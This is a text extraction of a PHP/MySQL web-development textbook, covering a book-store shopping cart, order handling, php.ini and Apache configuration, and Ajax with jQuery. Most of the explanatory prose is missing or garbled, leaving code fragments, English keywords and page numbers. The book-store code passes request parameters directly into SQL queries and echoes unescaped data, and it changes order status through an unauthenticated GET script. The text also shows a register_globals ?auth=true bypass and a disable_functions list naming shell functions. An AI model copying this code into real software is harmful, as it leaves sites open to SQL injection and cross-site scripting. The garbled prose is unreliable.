include("admin/confs/config.php");
$id = $_GET['id'];
$books = mysql_query("SELECT * FROM books WHERE id = $id");
$row = mysql_fetch_assoc($books);
?>
<div class="detail">
<a href="index.php" class="back">&laquo; Go Back</a>
<img src="admin/covers/<?php echo $row['cover'] ?>">
<h2><?php echo $row['title'] ?></h2>
<i>by <?php echo $row['author'] ?></i>,
<b>$<?php echo $row['price'] ?></b>
<p><?php echo $row['summary'] ?></p>
<a href="add-to-cart.php?id=<?php echo $id ?>" class="add-to-cart">
Add to Cart
</a>
</div>

Professional Web Developer () PHP and MySQL

291

<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>

Query String id
Add to Cart Link <link> Element style.css
cart Session
add-to-cart.php Code
<?php
session_start();
$id = $_GET['id'];
$_SESSION['cart'][$id]++;
header("location: index.php");
?>

URL Query String id cart Session


Array
- Book ID 12

$_SESSION['cart'][$id]++;


$_SESSION['cart'][12]++;

cart Session Index 12 ()


Index 12 () Index 12 PHP Index 12

()

Book
ID
12

$_SESSION['cart'][12] 2
cart Session
index.php http://localhost/store/

Class info <div>
Link

view-cart.php
viewcart.php
Code HTML

Professional Web Developer () PHP and MySQL

<?php
session_start();
if(!isset($_SESSION['cart'])) {
header("location: index.php");
exit();
}
include("admin/confs/config.php");
?>
<!doctype html>
<html>
<head>
<title>View Cart</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>View Cart</h1>
<div class="sidebar">
<ul class="cats">
<li><a href="index.php">&laquo; Continue Shopping</a></li>
<li><a href="clear-cart.php" class="del">&times; Clear Cart</a></li>
</ul>
</div>
<div class="main">
<table>
<tr>
<th>Book Title</th>
<th>Quantity</th>
<th>Unit Price</th>
<th>Price</th>
</tr>
<?php
$total = 0;
foreach($_SESSION['cart'] as $id => $qty):
$result = mysql_query("SELECT title, price FROM books WHERE id=$id");

$row = mysql_fetch_assoc($result);
$total += $row['price'] * $qty;
?>
<tr>
<td><?php echo $row['title'] ?></td>
<td><?php echo $qty ?></td>
<td>$<?php echo $row['price'] ?></td>
<td>$<?php echo $row['price'] * $qty ?></td>
</tr>
<?php endforeach; ?>
<tr>
<td colspan="3" align="right"><b>Total:</b></td>
<td>$<?php echo $total; ?></td>
</tr>
</table>

292

Professional Web Developer () PHP and MySQL

293

<div class="order-form">
<h2>Order Now</h2>
<form action="submit-order.php" method="post">
<label for="name">Your Name</label>
<input type="text" name="name" id="name">
<label for="email">Email</label>
<input type="text" name="email" id="email">
<label for="phone">Phone</label>
<input type="text" name="phone" id="phone">
<label for="address">Address</label>
<textarea name="address" id="address"></textarea>
<br><br>
<input type="submit" value="Submit Order">
<a href="index.php">Continue Shopping</a>
</form>
</div>
</div>
<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

cart Session index.php


<body> Class sidebar
<div>
index.php Continue Shopping Link
Clear Cart Link
Class main
<div> cart Session
<table> cart Session ID
Title ID
<table> Order Form
name, email, phone address Form action
submit-order.php submit-order.php Code
clear-cart.php Code
<?php
session_start();
unset($_SESSION['cart']);
header("location: index.php");
?>

Professional Web Developer () PHP and MySQL

294

cart Session submitorder.php Code


<?php
session_start();
include("admin/confs/config.php");
$name = $_POST['name'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$address = $_POST['address'];
mysql_query("INSERT INTO orders
(name, email, phone, address, status, created_date, modified_date)
VALUES ('$name','$email','$phone','$address', 0, now(), now()) ");
$order_id = mysql_insert_id();
foreach($_SESSION['cart'] as $id => $qty) {
mysql_query("INSERT INTO order_items
(order_id, book_id, qty) VALUES ($order_id,$id,$qty)
");
}
unset($_SESSION['cart']);
?>
<!doctype html>
<html>
<head>
<title>Order Submitted</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>Order Submitted</h1>
<div class="msg">
Your order has been submitted. We'll deliver the items soon.
<a href="index.php" class="done">Book Store Home</a>
</div>
<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

Order Form orders Table INSERT Query


mysql_insert_id() Function
Record Auto Increment ID $order_id
Order ID

Professional Web Developer () PHP and MySQL

295

cart Session Loop order_items Table


ID
Session Order ID $order_id Variable
Table Order Submit Message

Shopping Cart
Order

Online Book Store Order Management

Admin Interface Order


admin Folder orders.php Code

<?php include("confs/auth.php") ?>
<!doctype html>
<html>
<head>
<title>Order List</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>Order List</h1>
<ul class="menu">
<li><a href="book-list.php">Manage Books</a></li>
<li><a href="cat-list.php">Manage Categories</a></li>
<li><a href="orders.php">Manage Orders</a></li>
<li><a href="logout.php">Logout</a></li>
</ul>
<?php
include("confs/config.php");
$orders = mysql_query("SELECT * FROM orders");
?>
<ul class="orders">
<?php while($order = mysql_fetch_assoc($orders)): ?>
<?php if($order['status']): ?>
<li class="delivered">
<?php else: ?>
<li>
<?php endif; ?>
<div class="order">
<b><?php echo $order['name'] ?></b>
<i><?php echo $order['email'] ?></i>
<span><?php echo $order['phone'] ?></span>

Professional Web Developer () PHP and MySQL

296

<p>
<?php echo $order['address'] ?>
</p>
<?php if($order['status']): ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">

Undo</a>
<?php else: ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">

Mark as Delivered</a>
<?php endif; ?>
</div>
<div class="items">
<?php
$order_id = $order['id'];
$items = mysql_query("SELECT order_items.*, books.title
FROM order_items LEFT JOIN books ON order_items.book_id = books.id
WHERE order_items.order_id = $order_id
");
while($item = mysql_fetch_assoc($items)):
?>
<b>
<a href="../book-detail.php?id=<?php echo $item['book_id'] ?>">
<?php echo $item['title'] ?>
</a>
(<?php echo $item['qty'] ?>)
</b>
<?php endwhile; ?>
</div>
</li>
<?php endwhile; ?>
</ul>
</body>
</html>

auth.php Include
orders Table SELECT Query
Order
SELECT Query
order_items Table order_items Table Book ID
books Table JOIN

Order orders Table status Column

Professional Web Developer () PHP and MySQL

297

status
0 Order 1
Order
Order <li> Element
status
delivered Class
<?php if($order['status']): ?>

<li class="delivered">
<?php else: ?>

<li>
<?php endif; ?>

Class Order Order


CSS Mark as Delivered
Link Order
<?php if($order['status']): ?>

* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">

Undo

</a>
<?php else: ?>

* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">

Mark as Delivered

</a>
<?php endif; ?>

Order
Mark as Delivered Link
Order Undo Link Link
order-status.php URL Query String
Mark as Delivered Link status=0 Undo Link
status=1 order-status.php
Code
<?php
include("confs/config.php");
$id = $_GET['id'];
$status = $_GET['status'];
mysql_query("UPDATE orders SET
status=$status, modified_date=now() WHERE id=$id
");
header("location: orders.php");
?>

URL Query String Order ID Status orders Table status Column


Update Admin Login Order
(-)

Professional Web Developer () PHP and MySQL

298

(-) Online Book Store - Managing Orders


Online Book Store Project
Form Validate
Cover Image Default Image
Screen
Paging

Search
Publisher Publish
ISBN No.
Star Rating Review


Online Book Store Source Code http://eimaung.com/pwd-rc/ Download

Conclusion

PHP MySQL Database




() Web Application
Security MVC
() Model-View-Collection

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () Controlling the Environment

300

() Controlling the Environment


PHP and Apache Settings including URL Rewrite

Web Application Project Development Production


Setting Release Server Setting
- Development Environment Warning
Error
Warning Error

Development Setting Production
Server



XAMPP Development
Setting
Development
XAMPP Production Server Production
Design
Default Setting Production Apache, PHP, MySQL
Install Setting Configuration
XAMPP Install Setting Configuration XAMPP Apaceh, PHP MySQL Install
Setting File Location Setting

XAMPP Security Browser URL Bar http://localhost/
XAMPP Home Page Home Page (-)
() Security Option

Professional Web Developer () Controlling the Environment

301

(-) XAMPP Home Page Security and phpinfo()


Security OS Windows
(-)

(-) XAMPP Security


Security Page XAMPP Apache, PHP MySQL

Professional Web Developer () Controlling the Environment

302

Password Link
Link (-) Password
Interface

(-) XAMPP Security Password Setting


MySQL Default User root Password XAMPP Home Page
Password OS Linux XAMPP Security Setting
Command
$ sudo /opt/lampp/lampp security
(-) ()
phpinfo()
Option PHP Apache Setting Information Module
phpinfo() PHP Function
PHP Script phpinfo()

Professional Web Developer () Controlling the Environment

303

(-) phpinfo() Example

10.1 PHP Configuration File

PHP Setting php.ini


Configuration File
(-) phpinfo() php.ini Location
Windows php.ini Location C:\xampp\php\php.ini
php.ini File Text Editor
Configuration
Setting
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini
;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.

; Enable the PHP scripting language engine under Apache.

Professional Web Developer () Controlling the Environment

304

; http://php.net/engine
engine = On

; Default Value: On
; Development Value: Off
; Production Value: Off
; http://php.net/short-open-tag
short_open_tag = Off
; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = Off


Semi-colon
Setting
Setting
Semicolon Setting Setting

PHP Short Open Tags


short_open_tag = On
short_open_tag Setting Setting On
Off Short Open Tag PHP Code
<?php ?> <?php <?
<?= short_open_tag Setting On
short_open_tag Off
<? <?php
<?=
Output Tag
<?=
<?php echo
<?= PHP Code
Output
Short Open Tag HTML PHP Short Open
Tag Code Category List

Professional Web Developer () Controlling the Environment

305

<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>

Code Short Open Tag


<ul>
<? while($row = mysql_fetch_assoc($result)): ?>
<li title="<?= $row['remark'] ?>">
[ <a href="cat-del.php?id=<?= $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?= $row['id'] ?>">edit</a> ]
<?= $row['name'] ?>
</li>
<? endwhile; ?>
</ul>

Output echo Keyword <?= Tag


Code
PHP Code HTML Structure

Short Open Tag

Disable Functions
disable_functions = exec,shell_exec,unlink,phpinfo
Setting disable_functions Setting PHP
Function disable_functions
PHP Function Code Setting
Application Server File System
PHP Function Setting
Application
PHP Script
Server Run Function Server File
System
Server PHP Script Run
Function


Professional Web Developer () Controlling the Environment

306

Expose PHP Version (or Not)


expose_php = Off
expose_php Setting On Off On Web Server
Respond Respond Header PHP Version Off
On Off

Resource Usages
max_execution_time = 30
PHP Script max_execution_time Setting



Script


()
Script
Server Processor Server Setting

memory_limit = 128M
PHP Script Memory memory_limit Setting
Megabyte M Unite
Gigabyte G Unit
Script Memory Server Performance
Setting

Error Reporting
error_reporting = E_ALL & ~E_DEPRECATED
PHP Code Error Message
error_reporting Setting Pre-Defined
Constant
Constant

E_ALL,
E_ERROR,
E_WARNING,
E_PARSE,
E_NOTICE

E_DEPRECATED
E_ALL Error error_reporting = E_ALL
Message

Professional Web Developer () Controlling the Environment

307

E_ERROR Fatal Error


Script Error
E_WARNING Fatal Error
E_PARSE Script Error
E_NOTICE
- Array Index
Notice E_DEPRECATED
PHP Version

error_reporting = E_ERROR & E_WARNING


Fatal Error Warning
Message Message Production
E_ALL & ~E_DEPRECATED Deprecated
Error ~ Sign Not
error_reporting = 0
Error Message
Error Script
Error display_errors Setting
display_errors = On
display_errors Setting On Off On Error Message
error_reporting Off Error Message
Log Development On Production Off Off Error
Log

Register Global
register_globals = Off
PHP Request
$_GET, $_POST, $_REQUEST, $_COOKIE
Superglobal
Register Global Setting
On Request Superglobal

Variable PHP

if ($_SESSION['auth']) {
$auth = true;
}

Professional Web Developer () Controlling the Environment

308

if($auth) {
// Do Important Things
}

auth Session $auth Variable true


$auth Variable

register_globals On Request ?auth=true Query String
PHP $_GET Superglobal auth Index $auth =
true Variable
auth Session $auth Variable
true
Code

$auth = false;
if ($_SESSION['auth']) {
$auth = true;
}
if($auth) {
// Do Important Things
}

$auth Variable false


auth Session
true auth Session $auth
true
register_globals Developer
Development Production register_
globals Setting Off PHP Default Off

Request Size and File Upload Limit


post_max_size = 8M
POST Request
Data post_max_size

Request Data Request

File

Megabyte M Unite Gigabyte G


Unit
file_uploads = On
File Upload file_uploads Setting On

Professional Web Developer () Controlling the Environment

309

Off File Upload


upload_max_filesize = 2M
File Upload Upload File upload_
max_filesize Setting
Megabyte M Unite
Gigabyte G Unit Server Capacity

Allow URL as File (or Not)


allow_url_fopen = Off
PHP file_get_content() fopen() Function File
Server File URL
Server Resource File
allow_url_fopen Setting
Off
allow_url_include = Off
File Include Server File URL Server
Resource Include allow_url_include Setting
Off

Timezone
date.timezone = Asia/Rangoon
Date/Time
Default Timezone
date.timezone

Setting Timezone
Timezone http://www.php.net/manual/en/timez
ones.php Standard Time Asia/Rangoon

Setting php.ini Setting
http://www.php.net/manual/en/ini.list.php

10.2 Setting Configuration on Run-Time

Setting php.ini PHP Code


Function ini_get(), ini_set() ini_restore()

Professional Web Developer () Controlling the Environment

310


Upload File Size ini_get("upload_max_filesize")

ini_get() Function Setting
Function
Error Report Setting ini_set("error_reporting", "E_ALL")

ini_set() Function Setting Run Time
Setting Run Time ini_set() Function

http://www.php.net/manual/en/ini.list.php Setting php.ini Only

Setting ini_set()
Setting
ini_set() Function Setting ini_restore()
Function

10.3 Apache Setting

Apache Web Server


Setting XAMPP Windows
Apache Setting File Location C:\xampp\apach\conf\
httpd.conf Linux /opt/lampp/etc/httpd.conf
httpd.conf Text Editor
# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
...
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path. #
ServerRoot "/opt/lampp"
...
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#Listen 12.34.56.78:80
Listen 80
...
# Example:
# LoadModule foo_module modules/mod_foo.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
...

# Sign
php.ini Semicolon
httpd.conf # Sing Setting

Professional Web Developer () Controlling the Environment

311

Port Setting
Listen 80
Setting Listen Listen Setting Apache Web Server
Port No. Web Server Default Port 80
httpd.conf 80 php.ini Setting
Equal Sign
80
65535 Port Link
http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
Server Software Port
- Listen 90
Web Server Request http://localhost:90/
Host Name Port Request
Web Server Listen Port
Web Server Default Port 80 Web Server
Port Server Listen Port

php.ini httpd.conf Setting


Web Server Restart Configuration Server
Effect Server Restart

Apache Module XAMPP Module


Module httpd.conf LoadModule
Setting XAMPP Module httpd.conf

# Sign
Module

Compression Module
LoadModule deflate_module modules/mod_deflate.so
Apache Web Server Document Respond Document Size

Professional Web Developer () Controlling the Environment

312

Compress Respond mod_deflate Module


mod_gzip
Module mod_deflate Gzip
Deflate Compress Algorithm Text Content %
Compress HTML, CSS, JavaScript Document Text
Document
mod_deflate Module # Sign

Compress Content httpd.conf
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
</IfModule>

text/plain
text/html
text/xml
text/css
application/xml
application/xhtml+xml
application/rss+xml
application/javascript
application/x-javascript
image/x-icon

Apache HTML, CSS, JavaScript, XML Icon


Compress Respond Respond Header Deflate Algorithm
Compress Respond Browser
Compress Uncompress Client
Server Module
<IfModule mod_deflate.c> ... </IfModule> mod_deflate Module
mode_deflate Module
DEFLATE Setting Configuration Error Module
DEFLATE Setting


<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain text/html text/css
</IfModule>

Compress Content Type


PHP Output Compress
ob_gzhandler() Function PHP Apache Setting

Professional Web Developer () Controlling the Environment

313

Cache Module
LoadModule expires_module modules/mod_expires.so
mod_expires Module Cache Control Browser Respond
Cache Cache Content
Cache Setting Module
Module # Sing Cache Expires Setting

<IfModule mod_expires.c>
ExpiresActive on
ExpiresDefault
ExpiresByType text/html
ExpiresByType image/x-icon
ExpiresByType image/png
ExpiresByType image/jpg
</IfModule>

"access
"access
"access
"access
"access

plus
plus
plus
plus
plus

1
0
1
1
1

month"
seconds"
week"
month"
month"

ExpiresActive on Setting Content


Type Expire Time HTML 0 seconds
Cache Icon () Cache
PNG JPG Image () Cache Content
Cache

Proxy Module
LoadModule proxy_module modules/mod_proxy.so
mod_proxy Module Apache Proxy Server Web
Application Application Server Proxy Server
Application Server Request
Proxy Server Proxy
Server Security Cache Control

Load Balance


Proxy Reverse Proxy Forward Proxy mod_proxy Apache Reverse
Proxy Forward Proxy Setting Reverse Proxy Web
Server Client Request Server Respond
Request Server Request
Server Respond Client Respond Server

Professional Web Developer () Controlling the Environment

314

Setting
ProxyPass /foo.html http://example.com/bar.html
ProxyPassReverse /foo.html http://example.com/bar.html

foo.html Document Request Request example.com/


bar.html Request
Reverse Proxy Load Balance Rockstar Developer ()

URL Rewrite Module


LoadModule rewrite_module modules/mod_rewrite.so
Module mod_rewrite URL Web Server
Resource Website
URL File Name
http://en.wikipedia.org/wiki/MySQL URL File Name
Web Server Folder Name File Name URL

Document



mod_rewrite URL Rewrite Setting
Request URL (URL ) Resource URL (URL )
Module Website
URL ( ) mod_rewrite URL URL

URL Rewrite Setting (-)

Professional Web Developer () Controlling the Environment

315

(-) A URL Rewrite Rule


RewriteRule Keyword
() Request URL Pattern,

URL (Flags)
Request URL
Sub
Rewrite Rule

Pattern Regular Expression


Regular Expression Text
Language
Pattern (-)
^ $

RewriteRule ^books index.php

^ Request URL
books ( ) index.php Request

RewriteRule ^books$ index.php

Professional Web Developer () Controlling the Environment

316

URL books
index.php Request
Set
RewriteRule ^books/([a-z]+)/([0-9]+)$ index.php?cat=$1&id=$2


Set Set [a-z]
a to z a to z Alphabet Special Character

Rule
Set 0 to 9
Character + Set
Set $1 $2
Variable URL Request URL books/internet/98

- Request URL index.php?cat=internet&id=98

- a to z 0 to 9 Character Dot

RewriteRule ^books/(.+)/(.+)/?$ index.php?cat=$1&id=$2

(.+)
Character ()
?

( )
Slash Rule


RewriteRule ^books/([a-z]{5-10})/([0-9]{3})/?$ index.php?cat=$1&id=$2


[a-z]{5-10}
a to z () () [09]{3} 0 to 9 ()
Rule Online Book Store Rewrite
Rule

Professional Web Developer () Controlling the Environment

317

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /store/
RewriteRule ^books/?$ index.php [NC,L]
RewriteRule ^cart/?$ view_cart.php [NC,L]
RewriteRule ^category/([0-9]+)/?$ index.php?cat_id=$1 [NC,L]
RewriteRule ^admin/edit/book/([0-9]+)/?$ admin/book-edit.php?id=$1 [NC,L]
RewriteRule ^admin/edit/category/([0-9]+)/?$ admin/cat-edit.php?id=$1 [NC,L]
</IfModule>

Module mod_rewrite
RewriteBase Setting Project Web Server Document
Root store Folder RewriteBase /store/
Rule
RewriteRule ^books/?$ /store/index.php [NC,L]
RewriteRule ^cart/?$ /store/view_cart.php [NC,L]

RewriteBase /store/

-

Rule /store/

http://localhost/store/books/
http://localhost/store/cart/
http://localhost/store/category/12/
http://localhost/store/admin/edit/book/12/
http://localhost/store/admin/edit/category/12/

- URL Book Store Script File Name Query String


URL Web Server
URL
Query String File Name URL mod_rewrite

Web Server
Rule Flags Flag
Optional Flag
[L] Last Rule
Rule


[F] Forbidden Rule
403 Forbidden Respond

Professional Web Developer () Controlling the Environment

318

[NC] No Case
[QSA] Request URL Query String Rewrite URL

[R] URL Rewrite Redirect HTTP Status
Code No. [R=301]
[R=307]
Flag Comma - [L,NC,QSA]
RewriteCond Setting Server Variable

Rule RewriteCond %{HTTP_HOST} !^example\.com$ [NC]
RewriteRule .? http://example.com%{REQUEST_URI} [R=301,L]

Rule Host Name


www - Request URL
http://www.example.com/foo/bar.html URL http://example.com/foo/bar.html


RewriteCond %{HTTP_HOST} !^example\.com$

- if(HTTP_HOST != example.com)


%{HTTP_HOST} Request Domain Name
Server Variable
Exclamation Mark (!) Not
^example\.com$ example.com
Regular Expression Rule Dot (.) Regular Expression Operator
Back Slash Operator Escape
RewriteRule .? http://example.com%{REQUEST_URI} [R=301, L]

- URL ( ) http://example.com
Rewrite %{REQUEST_URI} Server Variable
URL Domain Name Resource Location
Rewrite example.com Flag
R=301 Flag Redirect
-

Professional Web Developer () Controlling the Environment

319

RewriteCond %{HTTP_REFERER} !^$


RewriteCond %{HTTP_REFERER} !^http://example\.com/ [NC]
RewriteRule \.(gif|jpg|png)$ - [F]

Rule Server Image Website


HTTP_REFERER Request Location
Referer Blank
Request Referer Blank Rule
RewriteCond (!^$ - Not Blank ) Referer
Host !^http://example\.com/

- If Not http://example.com Condition Pass


Rewrite Rule
Rewrite Rule Request URL .gif, .jpg, .png Forbidden Respond
[F] Flag Image URL Request
Website Website
Request
Rewrite Condition Rule

Variable

Server Variable

%{HTTP_USER_AGENT} - Request User Agent (Client )


%{HTTP_REFERER} - Request Source
%{HTTP_HOST} - Server IP Address
%{SERVER_PORT} - Web Server Port No.
%{REMOTE_ADDR} - Request IP Address
%{REQUEST_METHOD} - Request Method (GET, POST, etc...)
%{QUERY_STRING} - Request Query String
%{REQUEST_URI} - Request URL (Host Name )
%{SCRIPT_FILENAME} - Request File

%{HTTPS} - Request Protocol HTTPS

.htaccess

Web Server Web Application httpd.conf


Setting Server Application
Compression Cache Application
URL Rewrite Application

Professional Web Developer () Controlling the Environment

320

URL Rewrite httpd.conf



Apache Setting .htaccess
File
.htaccess File Setting Server File Folder
Application Setting
.htaccess File Application
URL Rewrite Rule httpd.conf
Web Application Project Folder .htaccess File

Directories Settings

httpd.conf Setting httpd.conf


Server File System Apache
Setting

<Directory />
AllowOverride none
Require all denied
</Directory>

<Directory /> Root Directory


Setting
Windows C:\ Setting
C:\
Slash ( / )
httpd.conf

AllowOverride Setting .htaccess File Setting
Setting none
Require Setting
Directory Setting all denied

Document Root
DocumentRoot "C:/xampp/htdocs"
httpd.conf DocumentRoot "C:/xampp/htdocs"
Setting
DocumentRoot Setting Web Document Folder
C:/xampp/htdocs
Apache Document Folder

Professional Web Developer () Controlling the Environment

321

PHP Script Folder


Document Root Folder
DocumentRoot Setting
Document Root Apache Directory Setting

Directory Setting for Document Root Folder


<Directory "C:/xampp/htdocs">
Options Indexes FollowSymLinks ExecCGI Includes
AllowOverride All
Require all granted
</Directory>

Directory Setting Options Setting () Indexes


Directory Browsing Directory Index File File
Folder Option
FollowSymLinks Symbolic Link () Shortcut
PHP Script htdocs
Script ( ) Folder Shortcut htdocs
FollowSymLinks Option
ExecCGI CGI Script Includes
Server-side File Include Directory
AllowOverride All Directory .htaccess File Setting
Require all granted Directory

Default Index File


Default Index File Setting

<IfModule dir_module>
DirectoryIndex index.html index.php
</IfModule>

dir_module DirectoryIndex Setting


Index File File index.html index.php

Professional Web Developer () Controlling the Environment

322

Index File httpd.conf Index File


File Name default.php, home.php File Index
File

Extra Setting

Setting httpd.conf File



Setting File httpd.conf Include Setting
httpd.conf File XAMPP

Setting extra Folder httpd-xampp.conf


Include "conf/extra/httpd-xampp.conf"

httpd-xampp.conf Setting phpMyAdmin


Alias Setting
Alias /phpmyadmin "C:/xampp/phpMyAdmin/"

Alias Setting /phpmyadmin URL phpMyAdmin Folder


htdocs Folder phpMyAdmin Browser URL http://localhost
/phpmyadmin/ Request Apache /phpmyadmin
URL Alias Document Root htdocs
Folder C:\xampp\phpMyAdmin\

Virtual Host

VirtualHost Setting Web


Server Host Name / Domain Name
Request example.com Setting Request example.org
Setting
Host Name
Windows C:\Windows\system32\drivers\etc\hosts
Linux /etc/hosts hosts File Text Editor

127.0.0.1
127.0.0.1

foo
bar

Local Public Internet IP Local IP Address


127.0.0.1, 127.0.0.2, 127.0.0.3, IP Address Local IP Address

Professional Web Developer () Controlling the Environment

323

hosts File 127.0.0.1 foo bar Host Name


Computer Host Name
Restart Restart Browser URL
Bar http://foo/ ( ) http://bar/ http://localhost/
Host Name Setting
VirtualHost
<Directory "C:/foo/">
AllowOverride all
Options Indexes FollowSymLinks ExecCGI Includes
Require all granted
</Directory>
<VirtualHost 127.0.0.1:80>
DocumentRoot C:/foo/
ServerName foo
</VirtualHost>

Virtual Host Document Root C:\foo\ Folder


Access Permission Virtual Host
<VirtualHost 127.0.0.1:80>
ServerName foo

DocumentRoot C:/foo/
C:\foo Folder
Folder HTML Document PHP Script

Apache Restart Browser URL Bar http://foo/
C:\foo\
Folder HTML Document PHP Scripts foo
DocumentRoot Virtual Host
bar Host Name Virtual Host

Conclusion

PHP Apache Setting MySQL, phpMyAdmin Setting


XAMPP Windows MySQL Setting C:\xampp\mysql\bin\
my.ini phpMyAdmin Setting C:\xampp\phpMyAdmin\
config.inc.php
XAMPP Linux MySQL Setting /opt/lampp/etc/ File Name

Professional Web Developer

Professional Web Developer




Web Standard


Professional Web Developer

(CEO, Zwenexsys International Ltd.)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () Ajax with jQuery

325

() Ajax with jQuery


A New Approach to Web Applications

Asynchronous JavaScript And XML


Ajax Javasript Web Application "" Jesse James Garrett UX
(User Experience) Designer "Ajax: A New
Approach to Web Applications" Ajax
Garrett
Gmail, Google Suggest, Google Maps
Ajax

Link: http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications

11.1 Asynchronous

Ajax Asynchronous Software Development


- ()
Synchronous Process Asynchronous

() ()
() ()
()
()
() ()
() Callback

Asynchronous

Web Synchronous Process Client Request Server
Respond Respond Client Respond Document HTML,
CSS, JavaScript Web

Professional Web Developer () Ajax with jQuery

326

Application
() Book Store Project
Script
Delete Delete Script
Delete Script Script

localhost
Request/Respond
Synchronous Ajax Web
Application

11.2 JavaScript XMLHttpRequest (XHR) API

() JavaScript DOM API XHR


XMLHttpRequest DOM JavaScript API XHR API
JavaScript Request Respond
Server Request Client Web Browser URL Bar URL
Request Hyperlink Request
HTML Form Submit Button Request
Request XHR API JavaScript Request

Microsoft Outlook Web Access Team XHR
XMLHTTP Component Microsoft
XMLHTTP ActiveX Control Internet Explore 5
Mozilla, Safari, Opera Browser XMLHttpRequest JavaScript
Object Support Internet Explorer 7 Microsoft
ActiveX Control XMLHttpRequest JavaScript Object Support

XHR API Web Application Google
Gmail Google Maps
Ajax
Browser Support XHR W3C Standard
W3C XHR API Web Standard
Request Respond Browser Page

Professional Web Developer () Ajax with jQuery

327

Reload XHR Respond


Respond

JavaScript
XHR Request ()

var httpRequest;
function makeRequest(url, query, method, complete) {
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
httpRequest.onreadystatechange = complete;
httpRequest.open(method, url);
httpRequest.send(query);
}

makeRequest() Function Function


Browser XMLHttpRequest Support Support
httpRequest Variable XMLHttpRequest Object Support
ActiveXObject httpRequest XHR Object
onreadystatechange Attribute Function success Function
Request
success Function
httpRequest open Method Request
Connection Request Method Request URL Function
method url Variable send Method Request
Request Function
query Variable
makeRequest() Function -

Professional Web Developer () Ajax with jQuery

328

makeRequest("admin/book-del.php", "id=123", "POST", function() {


if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
alert(httpRequest.responseText);
} else {
alert('There was a problem with the request.');
}
}
});

admin/book-del.php JavaScript Request


id=123 Query POST Method Request
makeRequest() Function Nameless Function
Function XHR readyState
readyState 4 Request Request
Respond Status 200 Respond Content Alert Box
Request Ready State


0
1
2
3
4

Request
Server
Request
Server
Request Respond

XHR Request JavaScript


Asyn Web Application
chronous XHR HTTP
HTTP Request Respond
XHR Request

11.3 XML or JSON

XHR Request Server-side Script HTML Document


Respond XHR Request JavaScript
( ) Request HTML Structure
Web Document Request HTML Document Respond
XHR Respond Content
XHR Request
Server-side Script Data

Ajax Data Respond Data Format

Professional Web Developer () Ajax with jQuery

329

XML XHR
XMLHttpRequest Ajax
XML XML JSON Respond
Data JSON ()
Respond Data JSON

11.4 Components of Ajax Techniques

Ajax Jesse James Garrett


Ajax

HTML and CSS for presentation


DOM for dynamic display of and interaction with data
XML for the interchange of data
XMLHttpRequest object for asynchronous communication
JavaScript to bring these technologies together

HTML, CSS, JavaScript, DOM XML


JSON XHR API

11.5 Ajax with jQuery

Browser Request Request Browser


URL Ajax Request
Request Respond
- URL Request Data URL
Character Encode Respond Data
Data Type XML Parse JSON Script Evaluate
Browser Support
Ajax Web Application JavaScript Ajax
Framework


() jQuery DOM Manipulation Ajax
Framework jQuery Ajax Framework
jQuery
URL Encode Respond Data Parse
jQuery jQuery
Ajax Request jQuery Ajax Request
Method Method $.get() $.post()
GET Request Method Request $.get() POST
$.post()

Professional Web Developer () Ajax with jQuery

330

() jQuery DOM Manipulation jQuery Object Dollar Sign


Selector Ajax jQuery Object Selector
jQuery Object CSS Selector Ajax Request
jQuery Object get() post() Method
(-)

(-) jQuery Ajax Method


get() Method Parameter ()
URL () Optional Request
Data JSON Parameter Request
Parameter Callback Function
Parameter Respond Data Type
json Server Respond Header Content
Type jQuery
Server Respond Data Callback Function Parameter
data
Variable Name data

post() Method
get() Request Method
get() post() Method jqXHR Object jqXHR Object

Professional Web Developer () Ajax with jQuery

331

Request done, fail, always


() var obj = $.get("book-list.php");
obj.done( function() {
// do something on request success
});
obj.fail( function() {
// do something on request failure
});
obj.always( function() {
// do something on request completion, either success or failure
});

( )
